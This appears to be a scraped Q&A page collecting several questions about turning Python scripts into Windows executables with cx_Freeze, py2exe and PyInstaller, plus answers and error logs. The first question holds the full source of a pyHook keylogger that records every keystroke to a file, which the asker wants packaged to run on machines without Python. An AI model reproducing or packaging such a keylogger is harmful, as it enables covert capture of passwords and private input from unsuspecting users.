I am trying to create a .exe version of a python keylogger program that I found on the internet, so it can be run on Windows pc's without python installed.
The code for the program as is follows:
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'C:\\important\\file.txt'
def Key_Press(Char):
logging.basicConfig(filename=LOG_FILENAME,level=logging.DEBUG,format='%(message)s')
if Char.Ascii==27:
logging.log(10,'ESC')
elif Char.Ascii==8:
logging.log(10,'BACKSPACE'
else:
logging.log(10,chr(Char.Ascii))
if chr(Char.Ascii)=='¬':
exit()
return True
hm=pyHook.HookManager()
hm.KeyDown=Key_Press
hm.HookKeyboard()
pythoncom.PumpMessages()
After the .exe file has been created using the build function of cx_Freeze, the following error occurs in a separate error box when I run the file:
Cannot import traceback module
Exception: cannot import name MAXREPEAT
Original Exception: cannot import name MAXREPEAT
I don't have much knowledge of cx_Freeze at all, and would very much appreciate any help, as even when I have tried using simple programs such as a hello_world.py program, the .exe file doesn't appear to work.
Related
I've recently started learning python and am still a newbie.
How can I determine if my code run from IDE or run standalone?
My code is not imported so
__name__ == "__main__" .
Someone suggested checking sys.executable name but I'm looking for a solution independent of the file name.
P.S: I create a standalone file with pyinstaller.
Here's a link to the page pyinstaller has on their site giving information about how to check the Run-Time information of your file: https://pyinstaller.org/en/stable/runtime-information.html
Basically it says to add the following code
import sys
if getattr(sys, 'frozen', False) and hasattr(sys, '_MEIPASS'):
print('running in a PyInstaller bundle')
else:
print('running in a normal Python process')
This should print the 'running in a PyInstaller bundle' message if it's all self contained and properly bundled, and it should print 'running in a normal Python process' if it's still running from your source code.
I am trying to create a .exe file from my Python file. My setup file contains the following code (which was generated using the PyBuilder application):
# setup.py
from distutils.core import setup
import py2exe
import sys
sys.stdout = open('screen.txt','w')
sys.stderr = open('errors.txt','w')
setup(name='Crypto Calculator',
version='1.0',
author='RedCode',
data_files=[],
windows=[{'script':'Crypto Calculator.py',
'icon_resources':[(1,'')],
}])
print("---Done---")
When I run the command pyinstaller setup.pyw I get the IndexError: tuple out of range error. When I try running the pyinstaller command on my actual application's file, it still gives me the same error.
How can I correct this problem and successfully create a Python exe file.
I know there's already a question like this but the answer didn't work for me.
When I append the py2exe argument in the program, and run it, I noticed it's missing a bunch of files. Also when I run the exe, it says
File "boot_common.py", line 46 in <module>
ImportError: No module named 'ctypes'
Can anyone help me on how to fix this? Here's my code:
from distutils.core import setup
import py2exe, sys
import tkinter as tk
from tkinter import filedialog
input('Press Enter to continue and select your Python file you want to convert when the dialog shows up...')
tk.Tk().withdraw()
file_path = tk.filedialog.askopenfilename()
sys.argv.append("py2exe")
setup(console=[file_path])
Also if it helps, I'm using a 32-bit Python interpreter.
I packed a python program (involving PyQT4) with py2exe, the exe file run normally on my machine, but when i copy it to another machine, error occurred like following (in log file):
File "PyQt4\QtGui.pyc", line 12, in
File "PyQt4\QtGui.pyc",
line 10, in __load ImportError: DLL
load failed:
more details:
i am using Python 2.5.
MSVCR71.dll is available in the same directorywith the exe file.
my setup.py script:
# coding: utf-8
from distutils.core import setup
import py2exe
import sys
#this allows to run it with a simple double click.
sys.argv.append('py2exe')
script = [{
"script":"test.py",
'icon_resources':[(0, 'main.ico'),]
}]
py2exe_options = {
"includes":["sip",],
"dll_excludes": ["MSVCP90.dll",]
}
setup(windows=script, options={'py2exe':py2exe_options})
You need to distribute the pyqt4 dlls with your exe for it to run on computers where pyqt4 is not installed. You should be able to find the dlls in something like C:\Python27\Lib\site-packages\PyQt4\bin
To package the dlls with your exe you can use an installer like nsis or inno.
I built a rather simple application in Python 3.1 using PyQt4. Being done, I want the application to be distributed to computers without either of those installed.
I almost exclusively care about Windows platforms, so my goal is to have a single executable file and maybe some resource files and .dlls in the end.
Having searched around, I came to the conclusion that
py2exe only supports Python up to version 2.7
pyinstaller only supports Python up to version 2.6
cx_Freeze does not work for me because I keep on getting the following error when trying to execute my successfully build binary:
Y:\Users\lulz\build\exe.win32-3.1>system_shutdown.exe
Traceback (most recent call last):
File "Y:\Program Files (x86)\Python\lib\site-packages\cx_Freeze\initscripts\Console3.py", line 27, in exec(code, m.__dict__)
File "Y:/Users/lulz/Documents/Coding/Python3/projects/System Shutdown/system_shutdown.pyw", line 5, in from PyQt4 import QtCore
File "ExtensionLoader_PyQt4_QtCore.py", line 16, in AttributeError: 'NoneType' object has no attribute 'modules'
So my problem is basically two problems here:
Is there another way but cx_Freeze to build binaries with my configuration?
If not, what might the cx_Freeze problem be?
I can provide more information on the second problem if necessary, like my call of cx_Freeze, my distutils setup script etc.
Thank you already for your help and comments.
You can fix this by appending one line of code to freeze.py in your cx_Freeze package.
It is described here:
http://www.mail-archive.com/cx-freeze-users#lists.sourceforge.net/msg00212.html
It worked for me at least :)
Cheers,
Almar
For Python 3.3 and later, there's a good resolution here:
py2exe - generate single executable file
Install py2exe:
pip install py2exe
Then add besides 'your_script.py' file, the following 'Make_exe.py' file:
from distutils.core import setup
import py2exe, sys
class Make_exe():
def __init__(self, python_script):
sys.argv.append('py2exe')
setup(
console=[{'script': python_script}],
zipfile = None,
options={
'py2exe':
{
'bundle_files': 1,
'compressed': True,
# Add includes if necessary, e.g.
'includes': ['lxml.etree', 'lxml._elementpath', 'gzip'],
}
}
)
if __name__ == '__main__':
Make_exe('your_script.py')
And if you want to make 'your_script.py' rebuild itself as 'your_script.exe' each time you run it in python, you can add to its main:
import subprocess
import sys
if __name__ == '__main__':
currentFile = sys.argv[0]
if currentFile.lower().endswith(".py"):
exitCode = subprocess.call("python Make_exe.py")
if exitCode==0 :
dirName = os.path.dirname(currentFile)
exeName = os.path.splitext(os.path.basename(currentFile))[0] + '.exe'
exePath = dirName + "/dist/" + exeName
cmd = [exePath] + sys.argv[1:]
print ("Executing command:\n %s" % cmd)
exitCode = subprocess.call(cmd)
sys.exit(exitCode)
else:
print ("This will be executed only within the new generated EXE File...")